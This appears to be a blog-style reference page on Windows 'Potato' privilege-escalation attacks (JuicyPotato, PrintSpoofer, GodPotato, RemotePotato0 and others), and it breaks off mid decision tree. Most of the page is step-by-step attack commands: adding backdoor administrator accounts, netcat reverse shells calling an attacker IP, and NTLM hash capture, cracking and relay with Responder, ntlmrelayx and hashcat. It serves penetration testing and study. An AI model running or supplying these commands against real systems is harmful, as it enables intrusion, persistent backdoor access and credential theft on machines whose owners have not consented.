ᛉ Yggdrasil

Windows

Potato Privilege Escalation Techniques

17 Sep 2026 · 6,281 words · 29 min

Contents

A comprehensive reference of all known Potato attacks — covering mechanisms, requirements, OS compatibility, and step-by-step execution.


Core Concept

All Potato attacks share the same fundamental primitive:

SeImpersonatePrivilege  OR  SeAssignPrimaryTokenPrivilege

These privileges are typically held by service accounts such as:

  • IIS APPPOOL\*
  • NT AUTHORITY\NETWORK SERVICE
  • NT AUTHORITY\LOCAL SERVICE
  • SQL Server service accounts (MSSQLSERVER, SQLSERVERAGENT)

They are not held by standard user accounts, which is why you usually arrive here after getting a foothold via a web shell, SQL injection RCE, or similar low-privileged service exploit.

What These Privileges Actually Mean

Privilege What It Allows
SeImpersonatePrivilege Impersonate a client after authentication — steal tokens from connecting processes
SeAssignPrimaryTokenPrivilege Replace the primary token of a process — launch processes as another user

The Universal Attack Chain

Service account shell (e.g., IIS / MSSQL / web shell)
        ↓
Trick a SYSTEM-level component into authenticating to you
  (via DCOM, RPC, Named Pipe, EFS, Print Spooler, AppX, ADCS, RasMan...)
        ↓
Capture its token / NTLM authentication
        ↓
Impersonate SYSTEM → spawn SYSTEM shell

Every Potato variant is just a different coercion method to trigger that SYSTEM-level authentication event.


Full Overview Table

Attack Core Technique Works On Needs CLSID Needs Network SeImpersonate Required Status
RottenPotato DCOM + NTLM relay Win7 / Server 2008 Yes No Yes Deprecated
JuicyPotato DCOM object abuse Win7–Win10 ≤1803 Yes No Yes Mostly patched
RoguePotato RPC + OXID resolver Win10 1809+ / 2016+ No Yes Yes Limited use
PrintSpoofer Print Spooler named pipe Win10 / 2016+ / 2019 No No Yes Very reliable
SweetPotato Multi-method (DCOM+EFS+Spooler) Mixed Optional No Yes Flexible
GodPotato NTLM reflection via RPC Win10 1809+ / 2019 / 2022 / Win11 No No Yes Modern & reliable
EfsPotato EFS RPC coercion (MS-EFSR) Win10+ / Server 2016+ No No Yes Reliable
PetitPotato EfsRpc local coercion Win10+ / Server 2016+ No No Yes Reliable
PrintNotifyPotato Print Notify RPC coercion Win10+ / Server 2016+ No No Yes Good fallback
AppxPotato AppX Deployment Service Win10 / Win11 desktop No No Yes Desktop-focused
ADCSCoercePotato ADCS HTTP enrollment coercion Domain w/ ADCS No Partial Yes AD-specific
RasManPotato RasMan RPC coercion Win10+ / Server 2016+ No No Yes Good fallback
RemotePotato0 DCOM cross-session token theft Win10+ (multi-user) No Yes Admin req. Lateral movement
LocalPotato NTLM reflection — no SeImpersonate Win10/11 / 2019/2022 (unpatched) No No No CVE-2023-21746
CandyPotato DCOM + named pipe hybrid Win10 / Server 2019+ Optional No Yes Modern variant
BravePotato DCOM IRemUnknown2 coercion Win10 / Server 2016+ No No Yes Niche use
DeadPotato Task Scheduler / deprecated COM Win10+ No No Yes Situational
MultiPotato Multi-trigger framework Wide range No No Yes Flexible framework
SigmaPotato RPC coercion (Server 2022 focused) Win11 / Server 2022 No No Yes Cutting edge
GenericPotato SDK for custom Potato exploits Any Configurable Configurable Yes Research/Custom

1. RottenPotato

How It Works

RottenPotato is the original Potato exploit, discovered by FoxGlove Security. It combines DCOM activation with a local NTLM relay attack.

  1. The attacker process (low-priv service account) creates a fake COM server on localhost.
  2. It triggers DCOM activation, which forces NT AUTHORITY\SYSTEM to authenticate to the fake server.
  3. The NTLM authentication is relayed back via a local CreateProcessWithToken call, capturing a SYSTEM token.
  4. That token is used to spawn a command as SYSTEM.

⚠️ Deprecated. Unreliable on modern systems. Historical reference only — use JuicyPotato or later variants.

Requirements

  • SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
  • DCOM enabled, NTLM enabled
  • Windows 7 / Server 2008

Steps

:: 1. Confirm privileges
whoami /priv

:: 2. Check OS
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

:: 3. Upload RottenPotato.exe to C:\Windows\Temp\

:: 4. Spawn cmd as SYSTEM
RottenPotato.exe -t * -p C:\Windows\System32\cmd.exe

:: 5. Or run a reverse shell
RottenPotato.exe -t * -p C:\Windows\System32\cmd.exe -a "/c powershell -e <base64_payload>"

From Meterpreter:

meterpreter > upload /path/to/RottenPotato.exe C:\\Windows\\Temp\\rp.exe
meterpreter > execute -f C:\\Windows\\Temp\\rp.exe -a "-t * -p cmd.exe"

2. JuicyPotato

How It Works

JuicyPotato removes the Metasploit dependency from RottenPotato. It:

  1. Uses a CLSID (COM class identifier) to activate a COM object that runs as SYSTEM.
  2. Sets up a fake local COM server on a configurable port.
  3. The SYSTEM COM object authenticates to the fake server.
  4. The NTLM auth is used to impersonate SYSTEM and execute a command.

CLSIDs are OS-specific — different builds have different working CLSIDs. You may need to try several.

Finding Valid CLSIDs

# Enumerate CLSIDs on the target
Get-ItemProperty -Path "HKLM:\SOFTWARE\Classes\CLSID\*" | Select-Object PSChildName

# Or use GetCLSID.ps1 from the JuicyPotato repo
# Full list per OS: https://github.com/ohpe/juicy-potato/tree/master/CLSID

Requirements

  • SeImpersonatePrivilege
  • Valid CLSID for the target OS
  • DCOM enabled
  • Windows 7 / 8 / 10 ≤1803, Server 2008 / 2012 / 2016

Steps

:: 1. Confirm privileges
whoami /priv

:: 2. Check OS version
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

:: 3. Upload JuicyPotato.exe to C:\Windows\Temp\

:: 4. Add a user
JuicyPotato.exe -t * -p cmd.exe -a "/c net user hacker P@ssw0rd! /add" -l 9999 -c {CLSID}
JuicyPotato.exe -t * -p cmd.exe -a "/c net localgroup administrators hacker /add" -l 9999 -c {CLSID}

:: 5. Reverse shell
JuicyPotato.exe -t * -p C:\Windows\Temp\shell.exe -l 9999 -c {CLSID}

:: Common CLSIDs:
::   Server 2016:  {4991D34B-80A1-4291-83B6-3328366B9097}
::   Win10 1803:   {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}
Flag Meaning
-t * Try both CreateProcessWithToken and CreateProcessAsUser
-p Program to execute
-a Arguments
-l Local port for fake COM server (any free port)
-c CLSID

3. RoguePotato

How It Works

Designed after the JuicyPotato patch (Win10 1809+). Instead of DCOM, it abuses the OXID resolver — the RPC component that resolves remote COM object addresses.

  1. Attacker sets up a fake RPC/OXID server on their own machine.
  2. On the target, a COM activation is triggered pointing to the attacker's fake OXID resolver.
  3. Windows resolves the OXID and authenticates — triggering NTLM to the attacker.
  4. Attacker relays auth locally via named pipe, capturing the SYSTEM token.

Requires TCP 135 connectivity from target → attacker. Firewalled environments will block this.

Requirements

  • SeImpersonatePrivilege
  • Network access: target → attacker TCP 135
  • socat on attacker side
  • Windows 10 1809+ / Server 2016+

Steps

# === Attacker Machine ===
socat tcp-listen:135,reuseaddr,fork tcp:127.0.0.1:9999 &
nc -lvnp 4444
:: === Target Machine ===
:: Upload RoguePotato.exe

RoguePotato.exe -r <ATTACKER_IP> -e "C:\Windows\Temp\shell.exe" -l 9999

:: Add user instead:
RoguePotato.exe -r <ATTACKER_IP> -e "cmd /c net user hacker P@ss1 /add && net localgroup administrators hacker /add" -l 9999

4. PrintSpoofer

How It Works

Abuses the Windows Print Spooler service via named pipe impersonation — no DCOM or CLSID required.

  1. PrintSpoofer creates a custom named pipe mimicking \\.\pipe\LOCALPIPE\pipe\spoolss.
  2. It calls the Spooler's ImpersonatePrinterClient RPC function, triggering the Spooler (SYSTEM) to connect.
  3. ImpersonateNamedPipeClient() captures the SYSTEM token from the connecting Spooler.
  4. SYSTEM token used to execute commands.

One of the most reliable modern methods — no DCOM, no CLSID, no network.

Requirements

  • SeImpersonatePrivilege
  • Print Spooler service running (sc query spooler)
  • Windows 10 / Server 2016 / 2019

Steps

:: 1. Confirm privilege and Spooler status
whoami /priv
sc query spooler   :: Look for STATE: 4  RUNNING

:: 2. Upload PrintSpoofer.exe

:: 3. Test (confirm SYSTEM)
PrintSpoofer.exe -c "whoami"

:: 4. Interactive shell (if PTY available)
PrintSpoofer.exe -i -c cmd

:: 5. Add user
PrintSpoofer.exe -c "net user hacker P@ssw0rd! /add"
PrintSpoofer.exe -c "net localgroup administrators hacker /add"

:: 6. Reverse shell
PrintSpoofer.exe -c "C:\Windows\Temp\shell.exe"

:: 7. Non-interactive / web shell — chain commands
PrintSpoofer.exe -c "cmd /c net user hacker P@ss1! /add && net localgroup administrators hacker /add"

5. SweetPotato

How It Works

SweetPotato is an all-in-one wrapper that bundles multiple coercion methods and tries them automatically:

  1. PrintSpoofer path — named pipe via Spooler
  2. DCOM path — similar to JuicyPotato
  3. EfsRpc path — EFS RPC coercion

It auto-selects based on what's available, ideal when you're unsure about the target environment.

Requirements

  • SeImpersonatePrivilege
  • Method-dependent (auto-probes)

Steps

:: 1. Upload SweetPotato.exe

:: 2. Auto-mode (try everything)
SweetPotato.exe -a "whoami"

:: 3. Specific payload
SweetPotato.exe -a "net user hacker P@ssw0rd! /add"
SweetPotato.exe -a "C:\Windows\Temp\shell.exe"

:: 4. Force a specific method
SweetPotato.exe -e EfsPotato    -a "cmd /c whoami"
SweetPotato.exe -e PrintSpoofer -a "cmd /c whoami"
SweetPotato.exe -e DCOM         -a "cmd /c whoami"

:: 5. Interactive shell
SweetPotato.exe -a "cmd" -i

6. GodPotato

How It Works

The most modern and universal Potato. Abuses NTLM reflection over RPC targeting the IRemUnknown2 OXID interface — entirely local, no external server needed.

  1. Creates a local fake COM server.
  2. Triggers SYSTEM-level COM activation via the local OXID interface.
  3. SYSTEM authenticates to the fake server locally.
  4. NTLM auth is reflected back to impersonate SYSTEM and run a command.

No CLSID, no network, works on fully patched Win10/11/Server 2022.

Requirements

  • SeImpersonatePrivilege
  • NTLM enabled (default), RPC running (default)
  • Windows 10 1809+ / Server 2019 / Server 2022 / Windows 11

Steps

:: 1. Confirm privileges
whoami /priv

:: 2. Test — confirm SYSTEM
GodPotato.exe -cmd "cmd /c whoami"

:: 3. Add backdoor user
GodPotato.exe -cmd "cmd /c net user hacker P@ssw0rd! /add"
GodPotato.exe -cmd "cmd /c net localgroup administrators hacker /add"

:: 4. Reverse shell
GodPotato.exe -cmd "C:\Windows\Temp\shell.exe"

:: 5. Netcat reverse shell
GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"

On attacker:

nc -lvnp 4444

7. EfsPotato

How It Works

EfsPotato abuses the Encrypting File System Remote Protocol (MS-EFSR) — specifically the EfsRpcOpenFileRaw or EfsRpcEncryptFileSrv RPC calls — to coerce the local SYSTEM account into authenticating to an attacker-controlled named pipe.

  1. Attacker creates a local fake named pipe (e.g., \\.\pipe\evil\pipe\srvsvc).
  2. Calls an EFSR RPC function with a UNC path pointing to the fake pipe: \\127.0.0.1/pipe/evil/pipe/srvsvc\whatever
  3. The EFS service (lsass, running as SYSTEM) attempts to access the UNC path and authenticates.
  4. ImpersonateNamedPipeClient() captures the SYSTEM token.
  5. SYSTEM command executed.

This is the local adaptation of the PetitPotam domain coercion technique. Works even when Print Spooler is disabled — it targets EFS via lsass instead.

Requirements

  • SeImpersonatePrivilege
  • EFS/MS-EFSR interface accessible (default — routes through lsass even when EfsVc is stopped)
  • Windows 10 / Server 2016 / 2019 / 2022

Steps

:: 1. Confirm privileges
whoami /priv

:: 2. Upload EfsPotato.exe (or use SweetPotato with -e EfsPotato)

:: 3. Test execution
EfsPotato.exe whoami

:: 4. Add user
EfsPotato.exe "cmd /c net user hacker P@ssw0rd! /add"
EfsPotato.exe "cmd /c net localgroup administrators hacker /add"

:: 5. Reverse shell
EfsPotato.exe "C:\Windows\Temp\shell.exe"

:: 6. Via SweetPotato (same technique, different wrapper)
SweetPotato.exe -e EfsPotato -a "C:\Windows\Temp\shell.exe"

If it fails:

:: EFS RPC calls can be blocked by GPO (DisableEfsRpcEncryptFileSrv registry key)
:: Check: reg query HKLM\SYSTEM\CurrentControlSet\Services\EfsRpc
:: If blocked → fall back to RasManPotato or GodPotato

8. PetitPotato

How It Works

PetitPotato is the local privilege escalation adaptation of PetitPotam (by topotam). PetitPotam was originally a domain-level attack (forcing DCs to authenticate to an attacker), but PetitPotato redirects that coercion locally for SYSTEM impersonation.

It specifically uses the EfsRpcOpenFileRaw MS-EFSR call to cause the local SYSTEM process to authenticate to a named pipe under attacker control:

Caller → EfsRpcOpenFileRaw("\\127.0.0.1/pipe/attacker_pipe\something")
    → lsass / EFS service resolves UNC path
    → Connects to attacker's named pipe as SYSTEM
    → ImpersonateNamedPipeClient() → SYSTEM token

Difference from EfsPotato: PetitPotato focuses on the named pipe coercion path derived directly from the PetitPotam PoC. EfsPotato may use different MS-EFSR function variants. In practice both are closely related and both are bundled in SweetPotato.

Requirements

  • SeImpersonatePrivilege
  • MS-EFSR interface accessible locally (default)
  • Windows 10 / Server 2016 / 2019 / 2022

Steps

:: 1. Confirm privileges
whoami /priv

:: 2. Upload PetitPotato.exe

:: 3. Test
PetitPotato.exe -p "cmd /c whoami"

:: 4. Add user
PetitPotato.exe -p "cmd /c net user hacker P@ssw0rd! /add"
PetitPotato.exe -p "cmd /c net localgroup administrators hacker /add"

:: 5. Reverse shell
PetitPotato.exe -p "C:\Windows\Temp\shell.exe"

:: 6. One-liner for web shells
PetitPotato.exe -p "cmd /c net user hacker P@ss1! /add && net localgroup administrators hacker /add"

If EFS-based coercion fails, fall back to GodPotato or PrintSpoofer. EFS methods can be disabled via Group Policy (DisableEfsRpcEncryptFileSrv).


9. PrintNotifyPotato

How It Works

PrintNotifyPotato targets the Print Notify RPC interface — a distinct interface from the Print Spooler (spoolsv.exe). While PrintSpoofer abuses spoolsv.exe, this exploit targets the IRemoteWinspool / Print Notify endpoint.

  1. Attacker creates a fake named pipe.
  2. Calls the Print Notify RPC interface with a path pointing to the fake pipe.
  3. The Print Notify service (running as SYSTEM) connects to the pipe.
  4. SYSTEM token is captured via ImpersonateNamedPipeClient().

Key advantage over PrintSpoofer: This works even if the Print Spooler (spoolsv.exe) is disabled — a common hardening measure. Print Notify is a separate and often-overlooked endpoint that remains accessible.

Requirements

  • SeImpersonatePrivilege
  • Print Notify interface accessible (part of Windows print subsystem, separate from Spooler)
  • Windows 10 / Server 2016 / 2019 / 2022

Steps

:: 1. Confirm privilege
whoami /priv

:: 2. Verify Spooler is disabled (proving this method is needed)
sc query spooler   :: STOPPED = use this instead of PrintSpoofer

:: 3. Upload PrintNotifyPotato.exe

:: 4. Test
PrintNotifyPotato.exe -c "whoami"

:: 5. Add user
PrintNotifyPotato.exe -c "net user hacker P@ssw0rd! /add"
PrintNotifyPotato.exe -c "net localgroup administrators hacker /add"

:: 6. Reverse shell
PrintNotifyPotato.exe -c "C:\Windows\Temp\shell.exe"

10. AppxPotato

How It Works

AppxPotato abuses the AppX Deployment Service (AppXSvc) — the Windows component responsible for installing and managing Windows Store (UWP) applications.

  1. AppXSvc runs as NT AUTHORITY\SYSTEM.
  2. AppxPotato triggers AppXSvc to initiate a COM activation or pipe connection the attacker controls.
  3. AppXSvc connects to the attacker's fake named pipe as SYSTEM.
  4. SYSTEM token is captured and impersonated.

This attack targets a service that is always present on Windows 10/11 desktop editions (Windows Store is always installed), making it very reliable for workstation targets.

Requirements

  • SeImpersonatePrivilege
  • AppX Deployment Service running (AppXSvc)
  • Windows 10 / Windows 11 (desktop editions)

Steps

:: 1. Confirm privileges
whoami /priv

:: 2. Verify AppXSvc is running
sc query AppXSvc   :: STATE: 4 RUNNING

:: 3. Upload AppxPotato.exe

:: 4. Test
AppxPotato.exe "whoami"

:: 5. Add user
AppxPotato.exe "cmd /c net user hacker P@ssw0rd! /add"
AppxPotato.exe "cmd /c net localgroup administrators hacker /add"

:: 6. Reverse shell
AppxPotato.exe "C:\Windows\Temp\shell.exe"

AppXSvc may be disabled on Server editions (Server Core, hardened installs). Primarily relevant on desktop Windows 10/11.


11. ADCSCoercePotato

How It Works

ADCSCoercePotato combines Active Directory Certificate Services (ADCS) coercion with local privilege escalation. In domain environments where ADCS is deployed with HTTP enrollment endpoints, it abuses the certsrv web interface to trigger NTLM authentication from SYSTEM.

  1. Identifies an accessible ADCS HTTP enrollment endpoint on the CA server.
  2. Triggers the local SYSTEM account to authenticate to it via HTTP NTLM.
  3. Relays that NTLM authentication to a local privileged endpoint (named pipe or similar).
  4. Captures and impersonates the SYSTEM token.

This is particularly powerful in AD environments because ADCS HTTP (non-HTTPS, no EPA enforced) is common — the same infrastructure enabling ESC8 attacks also enables this local relay for privesc.

Requirements

  • SeImpersonatePrivilege
  • Domain-joined machine with ADCS HTTP enrollment accessible (http://<CA>/certsrv/)
  • NTLM enabled on the ADCS endpoint (no HTTPS + EPA enforcement)

Steps

:: 1. Confirm privileges and domain membership
whoami /priv
whoami /fqdn

:: 2. Identify ADCS server
certutil -config - -ping
:: Or enumerate from domain:
nltest /dclist:<domain>

:: 3. Verify HTTP enrollment is accessible
curl -v http://<CA_SERVER>/certsrv/
:: Auth prompt (401 with NTLM) = vulnerable

:: 4. Upload ADCSCoercePotato.exe

:: 5. Execute with CA server hostname/IP
ADCSCoercePotato.exe -t <CA_SERVER> -c "cmd /c whoami"
ADCSCoercePotato.exe -t <CA_SERVER> -c "net user hacker P@ssw0rd! /add"
ADCSCoercePotato.exe -t <CA_SERVER> -c "net localgroup administrators hacker /add"
ADCSCoercePotato.exe -t <CA_SERVER> -c "C:\Windows\Temp\shell.exe"

Enumerate CA from domain (PowerShell):

# Find ADCS servers
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().FindAllDomainControllers()
# Or use certutil / LDAP query for CA enrollment endpoints
certutil -CA

If you're already doing ADCS ESC attacks (Certipy / Certify), this attack targets the same infrastructure. ESC8 = domain-level relay; ADCSCoercePotato = local privesc relay.


12. RasManPotato

How It Works

RasManPotato abuses the Remote Access Connection Manager (RasMan) service — the component responsible for managing VPN and dial-up connections in Windows.

  1. RasMan runs as NT AUTHORITY\SYSTEM.
  2. RasManPotato calls specific RasMan RPC interfaces with crafted parameters pointing to an attacker-controlled named pipe.
  3. RasMan connects to the attacker's named pipe as SYSTEM during RPC call resolution.
  4. ImpersonateNamedPipeClient() captures the SYSTEM token.

When to use this: Ideal fallback when Print Spooler is disabled AND EFS-based methods fail. RasMan is usually running even on hardened servers that have disabled printing and EFS.

Requirements

  • SeImpersonatePrivilege
  • RasMan service running
  • Windows 10 / Server 2012 / 2016 / 2019

Steps

:: 1. Confirm privileges
whoami /priv

:: 2. Check RasMan service
sc query RasMan

:: If needed, start it (may require permission)
sc start RasMan

:: 3. Upload RasManPotato.exe (also available in MultiPotato)

:: 4. Test
RasManPotato.exe -c "whoami"

:: 5. Add user
RasManPotato.exe -c "net user hacker P@ssw0rd! /add"
RasManPotato.exe -c "net localgroup administrators hacker /add"

:: 6. Reverse shell
RasManPotato.exe -c "C:\Windows\Temp\shell.exe"

13. RemotePotato0

How It Works

RemotePotato0 (by antonioCoco) is fundamentally different from all other Potatos. Instead of escalating to SYSTEM, it steals the NTLM hash of another logged-in user (such as a domain admin with an active RDP session).

  1. Requires a local SYSTEM or admin shell (from another Potato or other privesc — this is post-SYSTEM).
  2. Enumerates active sessions on the machine — identifies Session 1+ (logged-in users).
  3. Creates a DCOM activation in the context of that remote session.
  4. The logged-in user's process (e.g., domain admin) is triggered to authenticate to a fake NTLM server.
  5. Captures the NTLMv2 hash of that user.
  6. Hash is cracked offline or used for Pass-the-Hash / lateral movement.

Use case: You've escalated to SYSTEM on a box. A domain admin has an RDP session open. RemotePotato0 steals their hash for domain escalation.

Requirements

  • Local SYSTEM or Administrator (not just SeImpersonate — this is a post-exploitation/lateral movement tool)
  • Another user must have an active session (e.g., domain admin via RDP)
  • Network reachability: target → attacker for NTLM capture
  • Windows 10 / Server 2016+

Steps

# === Attacker Machine ===
# Start Responder to capture NTLMv2 hash
sudo responder -I eth0 -v

# Or use ntlmrelayx for direct relay
sudo ntlmrelayx.py -t ldap://<DC_IP> --no-http-server -smb2support
:: === Target Machine (as SYSTEM/Admin) ===

:: 1. Check who is logged in
query session
query user

:: 2. Upload RemotePotato0.exe

:: 3. Trigger hash capture targeting Session 1 (the RDP user)
::    -m 0 = NTLM hash capture mode
::    -s 1 = target session ID (from query session output)
RemotePotato0.exe -m 0 -r <ATTACKER_IP> -x <ATTACKER_IP> -p 9998 -s 1
Flag Meaning
-m 0 Capture NTLMv2 hash mode
-r Attacker IP (where Responder listens)
-x Attacker IP for OXID resolution
-p Local port for fake server
-s Session ID to target

After capturing the hash:

# Crack with hashcat
hashcat -m 5600 captured.hash /usr/share/wordlists/rockyou.txt

# Or relay with ntlmrelayx (no cracking needed)

⚠️ This is a lateral movement tool, not a local privesc. You need SYSTEM already. Use it to escalate from local SYSTEM → domain admin.


14. LocalPotato

How It Works

LocalPotato (CVE-2023-21746) is unique — it does NOT require SeImpersonatePrivilege. It exploits an NTLM reflection vulnerability in the Windows Storage Broker COM component.

  1. A low-privileged (standard) user triggers an NTLM authentication from the local SYSTEM process via the IStorageSecurityEditor COM interface.
  2. The NTLM auth is reflected back to a local privileged endpoint (named pipe or DCOM).
  3. SYSTEM-level code execution is achieved without any impersonation privilege.

Why this is special: Every other Potato requires SeImpersonatePrivilege (typically only held by service accounts). LocalPotato can work from a standard interactive user account on an unpatched system.

Patch status: Patched in January 2023 Patch Tuesday (KB5022282 and related). Unpatched systems remain vulnerable.

Requirements

  • Standard user account — no special privileges required
  • Unpatched Windows 10 / 11 / Server 2019 / 2022 (pre-January 2023 patches)

Steps

:: 1. Check current user (doesn't need to be a service account)
whoami
whoami /priv   :: SeImpersonate NOT required for this one

:: 2. Check if patched
wmic qfe list | findstr 5022282
:: If result found → patched → won't work

:: 3. Upload LocalPotato.exe

:: 4. Test — confirm SYSTEM
LocalPotato.exe -i whoami

:: 5. Add user
LocalPotato.exe -i "cmd /c net user hacker P@ssw0rd! /add"
LocalPotato.exe -i "cmd /c net localgroup administrators hacker /add"

:: 6. Reverse shell
LocalPotato.exe -i C:\Windows\Temp\shell.exe

💡 If you have a standard user shell (not a service account) on an unpatched system, try LocalPotato first — it's the only Potato that works from that position.


15. CandyPotato

How It Works

CandyPotato is a modern hybrid that combines DCOM-based coercion with named pipe impersonation, designed for systems where pure JuicyPotato-style DCOM is partially hardened but where the named pipe path remains accessible.

  1. Uses DCOM activation to trigger SYSTEM authentication (similar to JuicyPotato).
  2. Instead of relaying via local TCP, it redirects authentication to a named pipe.
  3. The named pipe impersonation captures a higher-quality, more stable SYSTEM token.
  4. Token is used with CreateProcessAsUser or CreateProcessWithToken.

The named pipe approach provides more stability than pure DCOM TCP relay, allowing it to succeed on some targets where JuicyPotato fails.

Requirements

  • SeImpersonatePrivilege
  • DCOM partially available
  • Windows 10 / Server 2016 / 2019 / 2022

Steps

:: 1. Confirm privileges
whoami /priv

:: 2. Upload CandyPotato.exe

:: 3. Test
CandyPotato.exe -c "{CLSID}" -a whoami

:: 4. Auto mode (no CLSID — attempts detection)
CandyPotato.exe -a "cmd /c whoami"

:: 5. Add user
CandyPotato.exe -a "cmd /c net user hacker P@ssw0rd! /add"
CandyPotato.exe -a "cmd /c net localgroup administrators hacker /add"

:: 6. Reverse shell
CandyPotato.exe -p C:\Windows\Temp\shell.exe

16. BravePotato

How It Works

BravePotato uses the IRemUnknown2 DCOM interface for coercion — a more obscure COM interface than those targeted by JuicyPotato. It exploits how Windows handles COM object interface negotiation:

  1. Triggers a DCOM object instantiation via the IRemUnknown2 interface path.
  2. The interface negotiation causes SYSTEM to authenticate to an attacker-controlled COM endpoint.
  3. Token is captured and SYSTEM execution is achieved.

Relationship to GodPotato: GodPotato uses OXID/NTLM reflection via interfaces adjacent to IRemUnknown2. BravePotato approaches this from a different code path. Treat them as complementary — if one fails, try the other.

Requirements

  • SeImpersonatePrivilege
  • DCOM enabled, RPC services running
  • Windows 10 / Server 2016 / 2019

Steps

:: 1. Confirm privileges
whoami /priv

:: 2. Upload BravePotato.exe

:: 3. Test
BravePotato.exe -c "cmd /c whoami"

:: 4. Add user
BravePotato.exe -c "cmd /c net user hacker P@ssw0rd! /add"
BravePotato.exe -c "cmd /c net localgroup administrators hacker /add"

:: 5. Reverse shell
BravePotato.exe -c "C:\Windows\Temp\shell.exe"

17. DeadPotato

How It Works

DeadPotato abuses "dead" or deprecated COM interfaces that are still registered and running as SYSTEM — specifically targeting the Windows Task Scheduler COM interface or similar deprecated-but-present service endpoints.

  1. Identifies a Task Scheduler or BITS COM object that runs as SYSTEM and is still triggerable.
  2. Activates the COM object in a way that causes SYSTEM to authenticate outbound to an attacker-controlled named pipe.
  3. Token is captured via named pipe impersonation.

The name "Dead" refers to using COM interfaces that are effectively dead in terms of active development — legacy COM registrations Microsoft hasn't cleaned up, providing a persistent attack surface.

Requirements

  • SeImpersonatePrivilege
  • Task Scheduler service running (typically always on)
  • Windows 10 / Server 2016 / 2019 / 2022

Steps

:: 1. Confirm privileges
whoami /priv

:: 2. Check Task Scheduler
sc query Schedule   :: Should show STATE: 4 RUNNING

:: 3. Upload DeadPotato.exe

:: 4. Test
DeadPotato.exe "whoami"

:: 5. Add user
DeadPotato.exe "cmd /c net user hacker P@ssw0rd! /add"
DeadPotato.exe "cmd /c net localgroup administrators hacker /add"

:: 6. Reverse shell
DeadPotato.exe "C:\Windows\Temp\shell.exe"

18. MultiPotato

How It Works

MultiPotato is a framework/toolkit that consolidates multiple coercion triggers into one binary. Rather than just running one technique, it iterates through all available methods:

  • EfsPotato (MS-EFSR)
  • PetitPotam-style coercion
  • PrintSpoofer-style named pipe
  • RasMan coercion
  • SplitImpersonation
  • Additional custom triggers

Designed for heavily hardened environments where standard Potatos are individually blocked. It brute-forces available coercion paths until one succeeds.

Requirements

  • SeImpersonatePrivilege
  • At least one coercion-capable service running (it figures out which one)

Steps

:: 1. Confirm privileges
whoami /priv

:: 2. Upload MultiPotato.exe

:: 3. Auto mode — try all methods
MultiPotato.exe -t * -p C:\Windows\Temp\shell.exe

:: 4. Specify a single method
MultiPotato.exe -t EfsPotato    -p C:\Windows\Temp\shell.exe
MultiPotato.exe -t PrintNotify  -p C:\Windows\Temp\shell.exe
MultiPotato.exe -t RasMan       -p C:\Windows\Temp\shell.exe

:: 5. Add user via auto-mode
MultiPotato.exe -t * -c "cmd /c net user hacker P@ssw0rd! /add"

:: 6. Verbose — shows which trigger succeeded
MultiPotato.exe -t * -p C:\Windows\Temp\shell.exe -v

MultiPotato is the best choice for unknown or heavily hardened environments. If SweetPotato fails, try MultiPotato next — it has more coercion methods.


19. SigmaPotato

How It Works

SigmaPotato is one of the newest Potato variants, specifically targeting Windows Server 2022 and Windows 11 where many older techniques fail. It exploits an RPC coercion path through COM interfaces that weren't addressed by patches targeting GodPotato's technique.

  1. Identifies a viable RPC/COM coercion path specific to the Server 2022 / Win11 patched state.
  2. Triggers SYSTEM authentication to a local attacker-controlled named pipe via this path.
  3. Token captured and SYSTEM execution achieved.

When to use: GodPotato and PrintSpoofer are still first choices on Server 2022. If both fail (NTLM reflection blocked + Spooler disabled), SigmaPotato provides a distinct third code path.

Requirements

  • SeImpersonatePrivilege
  • Windows 11 / Server 2022 (designed for these targets)
  • RPC services available (default)

Steps

:: 1. Confirm privileges
whoami /priv

:: 2. Confirm OS (Server 2022 / Win11)
systeminfo | findstr "OS Name"

:: 3. Upload SigmaPotato.exe

:: 4. Test
SigmaPotato.exe "cmd /c whoami"

:: 5. Add user
SigmaPotato.exe "cmd /c net user hacker P@ssw0rd! /add"
SigmaPotato.exe "cmd /c net localgroup administrators hacker /add"

:: 6. Reverse shell
SigmaPotato.exe "C:\Windows\Temp\shell.exe"

20. GenericPotato

How It Works

GenericPotato is not a standalone exploit — it is a C# library/SDK for building custom Potato-style exploits. It provides the core impersonation primitives so you only need to implement the coercion trigger:

  1. You define a custom coercion trigger (what service/interface to abuse).
  2. GenericPotato handles the named pipe creation, token capture, and process spawning.
  3. The framework makes it easy to build new Potatos as new coercion paths are discovered.

Use cases:

  • Building a custom Potato for a newly discovered coercion interface
  • Testing a service coercion theory without full exploit development
  • CTF scenarios with custom services running as SYSTEM
  • Internal tooling and research

Steps

// Reference GenericPotato.dll in your project

// Implement your custom coercion trigger
public class CustomTrigger : IImpersonationTrigger
{
    public void Trigger(string pipeName)
    {
        // Your custom RPC/COM call that causes SYSTEM to connect to pipeName
        // Example: calling some RPC interface with \\127.0.0.1\pipe\<pipeName>
        SomeRpcService.SomeCall($@"\\127.0.0.1\pipe\{pipeName}\srvsvc");
    }
}

// Use GenericPotato with your custom trigger
var potato = new GenericPotato();
potato.Trigger = new CustomTrigger();
potato.Run("cmd /c whoami");
:: If using as a standalone configurable binary
GenericPotato.exe -t CustomPipe -p "cmd /c whoami"
GenericPotato.exe -t CustomPipe -p "C:\Windows\Temp\shell.exe"

Universal Pre-Exploitation Checklist

:: 1. Check privileges — MOST CRITICAL
whoami /priv

:: 2. OS + patch level
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

:: 3. Check patch for LocalPotato (CVE-2023-21746)
wmic qfe list | findstr 5022282
:: Missing = LocalPotato works without SeImpersonate

:: 4. Check services relevant to Potato selection
sc query spooler       :: PrintSpoofer
sc query AppXSvc       :: AppxPotato (desktop only)
sc query RasMan        :: RasManPotato
sc query Schedule      :: DeadPotato
sc query efsvc         :: EfsPotato / PetitPotato (also works via lsass)

:: 5. Active sessions (for RemotePotato0)
query session
query user

:: 6. Find writable directories to upload binaries
icacls C:\Windows\Temp\
icacls C:\ProgramData\

:: 7. Domain membership (for ADCSCoercePotato)
systeminfo | findstr "Domain"

SeImpersonatePrivilege — what to look for:

Privilege Name                Description                               State
============================= ========================================= =======
SeImpersonatePrivilege        Impersonate a client after authentication Enabled   ← YOU NEED THIS

Full Decision Tree

Start: you have a shell
    ↓
whoami /priv
    ↓
    ├── No SeImpersonatePrivilege
    │       ↓
